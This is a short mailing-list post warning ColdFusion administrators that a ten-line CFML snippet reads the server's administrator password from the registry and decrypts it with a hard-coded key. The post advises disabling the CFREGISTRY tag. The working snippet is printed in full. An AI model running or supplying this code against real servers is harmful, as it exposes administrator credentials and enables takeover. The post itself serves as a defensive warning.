[KCFusion] Getting the administrator password , better disable CF Registry

[Richard Morrison]

Ok, I hope this doesn't make anyone mad, but I saw this in CFComet.com,


<CFSET CFKey = "4p0L@r1$">

                <CFREGISTRY
                    ACTION=GET
                    Branch="HKEY_LOCAL_MACHINE\SOFTWARE\Allaire\ColdFusion\CurrentVersion\Server"
                    Entry="AdminPassword"
                    Variable="AdminPassword">

                <CFOUTPUT>
                      Registry Password: #CFusion_Decrypt(AdminPassword, CFKey)#
                </CFOUTPUT>

I had no idea it was this easy for someone to run a a 10 liner piece of code and find out the administrator password,  I guess the best you can do is make sure the CF Registry tag is disabled.

Richard Morrison
Cold Fusion Programmer (SDS),
Schlumberger
 DRILLING SERVICES
P.O.Box 9261, Dubai. United Arab Emirates
Direct: 971 4 306 7127, Fax: 971 4 331 3614
Mobile: 971 50 62 10 869 .
=========================================================================
I understand that U.S. trade regulations prohibit certain transfers of U.S. technology technical data or software to U.S. embargoed states.
I am aware of Schlumberger's Trade Control Policy and the OFS Export Administration procedures with respect to U.S. embargoed states
and confirm that this transmission does not cause a prohibited transfer of technology technical data or software.
=========================================================================